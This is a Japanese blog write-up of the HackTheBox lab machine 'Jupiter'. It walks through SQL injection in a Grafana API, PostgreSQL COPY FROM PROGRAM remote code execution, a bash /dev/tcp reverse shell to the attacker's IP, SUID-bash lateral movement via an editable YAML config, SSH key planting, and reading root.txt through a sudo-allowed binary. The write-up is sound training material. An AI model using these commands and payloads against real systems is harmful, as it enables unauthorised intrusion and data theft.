今回は、HackTheBoxのMediumマシン「Jupiter」のWriteUpです!
名前からして、Jupyterしか思いつきませんが、どのようなマシンなのでしょうか!
グラフはしっかり難しそうですね。。。
攻略目指して頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Jupiter
それでは、攻略を開始します。
まずはポートスキャンから行います。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ sudo nmap -n -Pn -v -T4 -p- -sV 10.10.11.216 -oN nmap.log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
いつものように、22番と80番を確認しました。
では、80番へアクセスし、Webの探索を開始します。
Jupiterという名前通り、惑星に関係していそうなWebページが表示されました。
色々とみてみましたが、見えている範囲では特に怪しい部分はなさそうです。
ディレクトリ探索も行いましたが、特に新しい情報を得ることはできませんでした。
次の手としては、サブドメインを列挙することです。
今回のサーバはドメインが与えられているので、サブドメインが存在する可能性があります。ffufで列挙してみましょう。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.jupiter.htb" -u http://10.10.11.216 -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ '
v2.0.0-dev
________________________________________________
[Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 199ms]
* FUZZ: kiosk
:: Progress: [151265/151265] :: Job [1/1] :: 220 req/sec :: Duration: [0:12:10] :: Errors: 0 ::
kioskを発見しました!hostsファイルに追記し、アクセスします。
こちら側でも惑星の話がされています。
このサブドメインでは、Grafanaが採用されており、ログインページも確認できました。
デフォルトの認証(admin/admin)を試してみましたが、流石にそう簡単にはログインできなかったので、ほかの方法を探していきます。
ログインページ発見後、ディレクトリ探索やバージョン検索、パラメータを変更したりしてみましたが、特に怪しい部分は見つかりません。さらなる情報を見つけるために、Burp Suiteで通信を確認したところ、/api/へリクエストが送信されていることが分かりました。
その中の/api/ds/queryへのリクエストを見てみると、何やら怪しい文字列を発見しました。
写真では少し見えにくいと思いますが(拡大していただけると助かります)、リクエストのJSONでSQL文を発見しました。
対応するレスポンスを見てみると、count(parent)に対応する値「80」が出力されており、SQL文の実行がうまくいったことが分かります。SQL文を書き換えることで、認証情報を取得できるのではないでしょうか。試してみましょう。
"rawSql":"select \n * \n from \n user;"
まずは、userテーブルを出力させたいので、上記のSQL文に書き換えリクエストを送信してみます。
ユーザ?らしき文字列が出力されました!しかし、パスワードが見当たりません。userテーブルには保存されていないようです。
パスワードを見つけるために、思いつくテーブル名を試しましたが、パスワードはないようです。
認証情報を取得する用途ではなく、ほかの用途でSQLを実行する必要がありそうです。次に一番に思いつくのは、ファイルの読み出しです。
grafanaは、ファイルに認証情報が書かれていることが多いので、読み出しをすることで、認証情報を取得できるかもしれません。
では、まずはファイルを書き込むテーブルを作成します。先ほどと同じようにBurp Suiteを使用して、SQLを書き換えます。
"rawSql":"create \n table \n test(t text);"
今回は、testというテーブルを作成するようにしました。
テーブルが作成できたので、ファイルの内容をコピーします。まずはテストとしてpasswdファイルの読み出しを目指します。
"rawSql":"copy \n test \n from \n '/etc/passwd';"
コピーが完了したので、select文を実行し、ファイルの内容が取得できるか試してみましょう。下記のSQLを実行します。
"rawSql":"select \n * \n from \n test;"
レスポンスを確認します。
passwdファイルの内容が出力されています!ファイルの読み出しに成功しました!
読み出しが可能であることがわかったので、grafanaの設定ファイルであるgrafana.iniの読み出しを目指します。
権限ではじかれてしまいました。。。
他にもいくつか考えられるファイルを列挙しましたが、こちらも全て権限で弾かれてしまいました。
CVE-2019–9193
では、他になにかできることはないでしょうか。。。
GoogleでPostgreSQL Exploit
と検索すると、Exploit DBでCVEを発見しました。
どうやら、RCEが発火する脆弱性が存在するようです。
どのようなコードを実行しているか見てみましょう。
cursor.execute("DROP TABLE IF EXISTS {1};\
CREATE TABLE {1}(cmd_output text);\
COPY {1} FROM PROGRAM '{0}';\
SELECT * FROM {1};".format(args.command,tableName))
コードによると、新しいテーブルを作成し、作成後、{0}
で指定したコマンドをコピーすることにより、実行されるようです。
公開されているPoCをそのまま実行することもできるのですが、今回は手元で試してみたいと思います。
まずは、テーブルが存在している場合に削除させる処理を行います。今回のテーブル名はrce_table
にします。
200番が返ってきたので、SQLがうまく実行できたのではないかと予想できます。
では、次の処理に移りましょう。次はrce_table
を作成します。
同じように、200番が返ってきました。成功していると信じて、次の処理に移ります。
次はいよいよコマンドを指定します。リバースシェルを取得したいですが、まずはpingが実行できるかを見てみます。
コピーする前に、pingを受け取るための待ち受けを作成します。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
待ち受けの作成が完了したので、コマンドを指定しコピーしていきます。
200番が返ってきているので、待ち受けの方で通信が確認できているか見てみましょう。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:54:37.115613 IP jupiter.htb > 10.10.14.5: ICMP echo request, id 2, seq 1, length 64
19:54:37.115787 IP 10.10.14.5 > jupiter.htb: ICMP echo reply, id 2, seq 1, length 64
19:54:38.117259 IP jupiter.htb > 10.10.14.5: ICMP echo request, id 2, seq 2, length 64
19:54:38.117290 IP 10.10.14.5 > jupiter.htb: ICMP echo reply, id 2, seq 2, length 64
19:54:39.118978 IP jupiter.htb > 10.10.14.5: ICMP echo request, id 2, seq 3, length 64
19:54:39.119017 IP 10.10.14.5 > jupiter.htb: ICMP echo reply, id 2, seq 3, length 64
通信が確認できました!RCEが発火したので、リバースシェルを取得できそうです!
postgresとしてのシェル
それでは、リバースシェルの取得を目指していきます。
先ほどのpingをリバースシェルを飛ばすbashのコマンドに変更します。
指定するコマンドは下記です。
bash -c \"bash -i >& /dev/tcp/10.10.14.5/2121 0>&1\"
HackTheBoxをやっている方にはおなじみのコマンドです。
こちらもコピーする前に、リバースシェルの待ち受けを作成しておきます。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
待ち受けが作成できたので、SQLを実行させます。
レスポンスをすぐに確認することはできないので、待ち受けを見てみましょう。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.216] 59244
bash: cannot set terminal process group (1562): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ whoami
postgres
リバースシェルを取得できました!侵入成功です!
横移動
postgresユーザには、ホームディレクトリも存在せず、ユーザフラグを確認することもできないので横移動が必要そうです。
まずは、ホームディレクトリを確認し、どのようなユーザが存在するのか見てみます。
postgres@jupiter:/home$ ls -l
ls -l
total 8
drwxr-x--- 6 jovian jovian 4096 May 4 18:59 jovian
drwxr-x--- 8 juno juno 4096 May 4 12:10 juno
ホームディレクトリにより、jovian
ユーザとjuno
ユーザの存在を確認できました。
それぞれのユーザのディレクトリに対してアクセスする権限がないので他にこれらのユーザが所有しているファイルでアクセスできるものがないか検索してみます。
postgres@jupiter:/home$ find / -user juno 2>/dev/null
/dev/shm/shadow.data
/dev/shm/shadow.data/sim-stats.json
/dev/shm/shadow.data/processed-config.yaml
/dev/shm/shadow.data/hosts
/dev/shm/shadow.data/hosts/server
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.exitcode
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.shimlog
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stderr
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stdout
/dev/shm/shadow.data/hosts/client3
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stderr
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stdout
/dev/shm/shadow.data/hosts/client2
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stderr
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stdout
/dev/shm/shadow.data/hosts/client1
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stderr
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stdout
/dev/shm/network-simulation.yml
/home/juno
junoユーザのファイルを検索してみると、いくつか出力が見られます。どうやら/dev/shm
ディレクトリ内が怪しそうです。アクセスしてみましょう。
postgres@jupiter:/dev/shm$ ls -l
total 32
-rw-rw-rw- 1 juno juno 815 Mar 7 12:28 network-simulation.yml
-rw------- 1 postgres postgres 26976 Jul 27 10:09 PostgreSQL.1444652576
drwxrwxr-x 3 juno juno 100 Jul 27 11:26 shadow.data
ymlファイルとshadowというディレクトリがあるようです。ymlファイルの中身を見てみましょう。
postgres@jupiter:/dev/shm$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
見てみると、サーバ側の設定でpython3 -m http.server 80
が実行され、クライアントでcurl
が実行されています。
どうやらWebサーバはymlファイルで指定されたコマンドにより起動しているようです。ymlファイルに記述されたコマンドを実行しているのであれば、実行するコマンドを書き換えることにより横移動を行えるかもしれません。
もう一度、ls -l
を実行し、権限を確認してみましょう。
postgres@jupiter:/dev/shm$ ls -la
total 32
drwxrwxrwt 3 root root 100 Jul 29 14:00 .
drwxr-xr-x 20 root root 4040 Jul 29 13:46 ..
-rw-rw-rw- 1 juno juno 815 Mar 7 12:28 network-simulation.yml
-rw------- 1 postgres postgres 26976 Jul 29 13:46 PostgreSQL.4246195056
drwxrwxr-x 3 juno juno 100 Jul 29 14:00 shadow.data
書き込み権限があります!これでコマンドを任意のものに書き換えられることが分かりました。
junoとしてのシェル
では、どのようなコマンドを実行するのかですが、今回はbashにSUIDを付与させたいと思います。
通常のbashにはroot権限がないとSUIDを付与できませんが、junoユーザの権限でコピーさせることで所有者がjunoユーザになりSUIDを付与することが可能になります。
実際にymlファイルを変更します。
postgres@jupiter:/dev/shm$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp # Change
args: /bin/bash /tmp/bash # Change
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod # Change
args: u+s /tmp/bash # Change
start_time: 5s
bashファイルはtmpディレクトリにコピーしています。
変更が完了したら、tmpディレクトリを見てみましょう。
postgres@jupiter:/tmp$ ls -l
total 1392
-rwsr-xr-x 1 juno juno 1396520 Jul 29 14:08 bash
drwx------ 2 root root 4096 Jul 29 13:46 snap-private-tmp
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbedgrafana-server.service-dF8vl4
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbedModemManager.service-nT0fkI
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-logind.service-mWXmOM
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-resolved.service-62skLK
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-timesyncd.service-kyuG4O
drwx------ 2 root root 4096 Jul 29 13:46 vmware-root_810-2957517899
bashが作成され、SUIDが付与されていることが分かります!
あとは実行するだけです!
postgres@jupiter:/tmp$ ./bash -p
bash-5.1$ whoami
juno
シェルの取得に成功しました!
bash-5.1$ ls -l
total 12
drwxrwxr-x 12 juno juno 4096 Mar 9 10:31 shadow
-rwxrwxr-x 1 juno juno 174 Apr 14 14:28 shadow-simulation.sh
-rw-r----- 1 root juno 33 Jul 29 13:46 user.txt
ようやくフラグもゲットです!
横移動
フラグがゲットできたので、権限昇格か?と思いましたが、ホームディレクトリにはあともう一人ユーザが存在します。
bash-5.1$ ls -l /home
total 8
drwxr-x--- 6 jovian jovian 4096 May 4 18:59 jovian
drwxr-x--- 8 juno juno 4096 May 4 12:10 juno
恐らく、jovianユーザになる必要がありそうです。
まずは、junoユーザのホームディレクトリ内を探索してみましょう。
bash-5.1$ ls -la
total 52
drwxr-x--- 8 juno juno 4096 May 4 12:10 .
drwxr-xr-x 4 root root 4096 Mar 7 13:00 ..
lrwxrwxrwx 1 juno juno 9 Mar 7 10:45 .bash_history -> /dev/null
-rw-r--r-- 1 juno juno 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 juno juno 3792 Mar 7 10:00 .bashrc
drwx------ 3 juno juno 4096 May 4 18:59 .cache
drwxrwxr-x 5 juno juno 4096 Mar 7 10:02 .cargo
drwxrwxr-x 5 juno juno 4096 Mar 7 12:08 .local
-rw-r--r-- 1 juno juno 828 Mar 7 10:00 .profile
drwxrwxr-x 6 juno juno 4096 Mar 7 10:01 .rustup
drwxrwxr-x 12 juno juno 4096 Mar 9 10:31 shadow
-rwxrwxr-x 1 juno juno 174 Apr 14 14:28 shadow-simulation.sh
drwx------ 2 juno juno 4096 Mar 7 09:55 .ssh
-rw-r----- 1 root juno 33 Jul 29 13:46 user.txt
いくつか普段見ないディレクトリを発見しました。試しに探索し、有益な情報を得られないかみてみましたが、特に何も見つかりませんでした。
他に気になるディレクトリは.ssh
です。どのようなファイルがあるか見てみましょう。
bash-5.1$ ls -la
total 8
drwx------ 2 juno juno 4096 Mar 7 09:55 .
drwxr-x--- 8 juno juno 4096 May 4 12:10 ..
-rw------- 1 juno juno 0 Mar 7 09:55 authorized_keys
秘密鍵を見つけることはできませんでしたが、authorized_key
を発見しました。どうやらSSH接続が許可されていそうなので、kali側で鍵を用意しSSH接続を行いましょう。
kali側で鍵を用意する方法はssh-keygen
を実行することです。
🐧+[~]
Ex9loit👾<10.10.14.5>$ ssh-keygen
特に鍵の作成先を指定しない場合、/home/<user>/.ssh
に鍵が作成されます。作成された公開鍵id_rsa.pub
をターゲットのauthorized_keys
と入れ替えます。
入れ替えるために、pythonでサーバを立てておきます。
🐧+[~/.ssh]
Ex9loit👾<10.10.14.5>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
サーバが立ち上がったので、ターゲットでwgetを実行しダウンロードさせます。
bash-5.1$ wget http://10.10.14.5/id_rsa.pub
--2023-07-29 14:27:25-- http://10.10.14.5/id_rsa.pub
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/vnd.exstream-package]
Saving to: ‘id_rsa.pub’
id_rsa.pub 100%[===================>] 563 --.-KB/s in 0s
2023-07-29 14:27:26 (75.7 MB/s) - ‘id_rsa.pub’ saved [563/563]
ダウンロードができたら、名前を変更します。
bash-5.1$ mv id_rsa.pub authorized_keys
これで準備ができたので、SSH接続しましょう。
🐧+[~/.ssh]
Ex9loit👾<10.10.14.5>$ ssh -i id_rsa juno@10.10.11.216
juno@jupiter:~$ whoami
juno
SSH接続成功です!これでシェルがより安定するようになりました。
jupiter
では、気を取り直して列挙を再開します。
ホームディレクトリには特にめぼしいものはなかったので、次に動いているサービスを調べることにしました。
juno@jupiter:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
新たなポートを発見しました!恐らくWebサーバが動いていそうなので、実際にアクセスしてみましょう。
アクセスを可能にするために、まずは、SSHでポートフォワーディングを行います。
🐧+[~]
Ex9loit👾<10.10.14.5>$ ssh -i .ssh/id_rsa -L 8888:127.0.0.1:8888 juno@10.10.11.216
接続が成功したら、firefoxで127.0.0.1:8888
にアクセスします。
Jupyterのページが表示されました!冒頭で、「JupiterといえばJupyterしか思いつきません笑」と言っていましたが、まさかあっていたとは!
よく見てみると、ログインするためにトークンが必要であるようです。
Jupyterの認証情報やトークンに関する情報を取得するために、findで検索をかけてみます。
juno@jupiter:~$ find / -name *jupyter* 2>/dev/null
/opt/solar-flares/logs/jupyter-2023-05-04-20.log
/opt/solar-flares/logs/jupyter-2023-05-30-53.log
/opt/solar-flares/logs/jupyter-2023-05-04-31.log
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-04-13-43.log
/opt/solar-flares/logs/jupyter-2023-05-04-07.log
/opt/solar-flares/logs/jupyter-2023-03-10-42.log
/opt/solar-flares/logs/jupyter-2023-05-04-08.log
/opt/solar-flares/logs/jupyter-2023-05-04-06.log
多く検索がヒットしますが、私は一番上のlogファイルに注目しました。ログファイルには認証情報やトークンが書かれていることが多いからです。
複数のログファイルがあるみたいですが、日付的に一番最新であるものを選び、内容を確認してみます。
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-07-29-46.log
[W 13:46:10.913 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 13:46:10.923 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 13:46:10.923 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 13:46:10.923 NotebookApp] http://localhost:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
[I 13:46:10.923 NotebookApp] or http://127.0.0.1:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
[I 13:46:10.923 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 13:46:10.929 NotebookApp] No web browser found: could not locate runnable browser.
[C 13:46:10.929 NotebookApp]
To access the notebook, open this file in a browser:
file:///home/jovian/.local/share/jupyter/runtime/nbserver-1172-open.html
Or copy and paste one of these URLs:
http://localhost:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
or http://127.0.0.1:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
トークンが記載されています!ここにあるトークンでログインできないか試してみましょう。
ログインできました!いくつかファイルがありますが、今回はコマンドを実行したいだけなので内容の確認はしません。
jovianとしてのシェル
では、どうやって実行するかですが、新しいファイルを作成することで任意のコマンドを実行できます。実際に作成していきましょう。
まず一覧画面の横のNew
を押します。すると、新しいノートブックを作成できるので、Python3
を選択します。
選択すると、新しいノートブックの画面が現れます。ここでコマンドを実行可能です。
コマンドを入力しましょう。
入力したコマンドはjunoユーザのシェルを取得した時と同じコマンドを指定しています。
入力ができたので、上から一つずつ実行していきます。
特にエラーも出ていないので、tmpディレクトリ内を確認してみましょう。
juno@jupiter:/tmp$ ls -l
total 1392
-rwsr-xr-x 1 jovian jovian 1396520 Jul 29 15:07 bash
drwx------ 2 root root 4096 Jul 29 13:46 snap-private-tmp
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-grafana-server.service-dF8vl4
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-ModemManager.service-nT0fkI
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-logind.service-mWXmOM
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-resolved.service-62skLK
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-timesyncd.service-kyuG4O
drwx------ 2 root root 4096 Jul 29 13:46 vmware-root_810-2957517899
jovianユーザでSUIDが付与されています!bashを実行しましょう!
juno@jupiter:/tmp$ ./bash -p
bash-5.1$ whoami
jovian
横移動に成功しました!
権限昇格
ここまでかなり長い戦いでしたが、ようやく最後の砦、権限昇格です。
まずはいつものようにsudo -lを実行します。
bash-5.1$ sudo -l
[sudo] password for juno:
Sorry, try again.
junoユーザのパスワードが求められてしまいました。そうでした。今回の横移動では前のユーザのパスワードがもとめられてしまいます。なのでシェルの取得の方法を変更しましょう。
先ほどのJupyterで、リバースシェルの取得を目指します。実行させるコマンドはおなじみのbashです。
入力が完了したらkali側で待ち受けを作成し、コマンドを実行します。
🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2122
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.216] 49888
jovian@jupiter:/opt/solar-flares$ whoami
jovian
シェルが取得できました!
それではもう一度sudo -lを実行してみます。
jovian@jupiter:/opt/solar-flares$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
sudo -lがうまく実行できました!どうやらsattrack
というファイルをroot権限で実行できるようです。
sattrack
どのようなファイルなのか見てみましょう。
jovian@jupiter:/usr/local/bin$ ls -l sattrack
ls -l sattrack
-rwxr-xr-x 1 root root 1113632 Mar 8 12:07 sattrack
どうやらバイナリファイルのようです。試しに実行してみましょう。
jovian@jupiter:/usr/local/bin$ ./sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
設定ファイルが見つからないというエラーが出力されました。sudoを付けて実行してみましたが、同じ出力でした。
バイナリなのでcatコマンドではどのような処理が行われているか見ることはできませんが、stringsとgrepを合わせることでどのような設定ファイルが必要なのかを知ることができるかもしれません。Configuration
をキーワードにその周辺を検索してみます。
jovian@jupiter:/usr/local/bin$ strings sattrack | grep Configuration -3
at line
, column
/tmp/config.json
Configuration file has not been found. Please try again!
tleroot
tleroot not defined in config
tleroot is not a string
検索がヒットしました!tmpディレクトリにあるconfig.json
ファイルを設定ファイルとしているようです。しかし、どのような内容を記述すればよいのか分かりません。ターゲット内にconfig.jsonが存在していないか検索してみます。
jovian@jupiter:/usr/local/bin$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
shareディレクトリ内にconfig.jsonを発見しました!まずはtmpディレクトリにコピーします。
jovian@jupiter:/usr/local/bin$ cp /usr/local/share/sattrack/config.json /tmp/config.json
コピーができたら、内容を確認します。
jovian@jupiter:/tmp$ cat config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
色々と書いてありますが、とりあえずtmpディレクトリ内にconfig.jsonを配置することができたので、再度実行してみます。
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/noaa.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle
Could not resolve host: celestrak.org
Satellites loaded
No sats
出力を見てみると、どうやらjsonファイル内のtlesources
で指定されたURLに対してリクエストを行っているようです。実行自体はホストの名前解決が出来ず失敗しています。また、tmpディレクトリ内にtle
というディレクトリを作成しているようです。見てみましょう。
jovian@jupiter:/tmp$ ls -l
total 1400
-rwsr-xr-x 1 jovian jovian 1396520 Jul 29 15:07 bash
-rw-r--r-- 1 jovian jovian 610 Jul 29 15:35 config.json
drwx------ 2 root root 4096 Jul 29 13:46 snap-private-tmp
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-grafana-server.service-dF8vl4
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-ModemManager.service-nT0fkI
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-logind.service-mWXmOM
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-resolved.service-62skLK
drwx------ 3 root root 4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-timesyncd.service-kyuG4O
drwxr-xr-x 2 root root 4096 Jul 29 15:38 tle
drwx------ 2 root root 4096 Jul 29 13:46 vmware-root_810-2957517899
確かに確認できました。tleディレクトリ内を見てみましょう。
jovian@jupiter:/tmp/tle$ -la
total 8
drwxr-xr-x 2 root root 4096 Jul 29 15:38 .
drwxrwxrwt 15 root root 4096 Jul 29 15:40 ..
-rw-r--r-- 1 root root 0 Jul 29 15:38 gp.php?GROUP=starlink&FORMAT=tle
-rw-r--r-- 1 root root 0 Jul 29 15:38 noaa.txt
-rw-r--r-- 1 root root 0 Jul 29 15:37 weather.txt
リクエストには失敗していましたが、指定されたURLのファイルが作成されています。これによりtlesources
で指定されたファイルがtleディレクトリの配下に作成されることが分かりました。
rootとしてのシェル(フラグのみ)
ここで私は、tlesource
をroot.txtに変更することで、ルートフラグを取得できる可能性があることに気付きました。
本来バイナリファイルがある時は、kali側にファイルをダウンロードし、デバッグを行い、権限昇格を狙うのですが、今回は可能性に気付いたので先に実行してみます。
まずはconfig.jsonをroot.txtに変更します。
jovian@jupiter:/tmp$ cat config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:///root/root.txt"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
変更ができたので、実行します。
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
Satellites loaded
No sats
特にエラーは出ていなさそうです。tleディレクトリの中を確認してみましょう。
jovian@jupiter:/tmp/tle$ ls -l
total 4
-rw-r--r-- 1 root root 0 Jul 29 15:38 'gp.php?GROUP=starlink&FORMAT=tle'
-rw-r--r-- 1 root root 0 Jul 29 15:38 noaa.txt
-rw-r--r-- 1 root root 33 Jul 29 15:55 root.txt
-rw-r--r-- 1 root root 0 Jul 29 15:37 weather.txt
root.txtが追加されています!フラグが書かれているか確認してみましょう。
jovian@jupiter:/tmp/tle$ cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
完全攻略達成です!
攻略を終えて
今回のマシンはかなりボリュームが多く大変でした。最初のSQLインジェクションでは、必死になってパスワードを探してしまい、なかなかコマンドを実行するフェーズに移ることができませんでした。やっと初期シェルを取得できた!と思ったら、そこから横移動が2回も必要だったので、体力勝負みたいなところもありました笑。
ただ内容はかなり面白かったです。SQLでコマンドを実行させたり、Jupyter NotebookでRCEを発火させたりと、いつもとは少し違った色をしたマシンだなと思います。
ただ最後一つだけ言うことがあるとすると、ルートのシェルを取得したかったです笑
苦労した分、最後までしっかりと攻略したかったですが、しょうがないですね笑
今後もHackTheBoxのWriteUp投稿していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました~!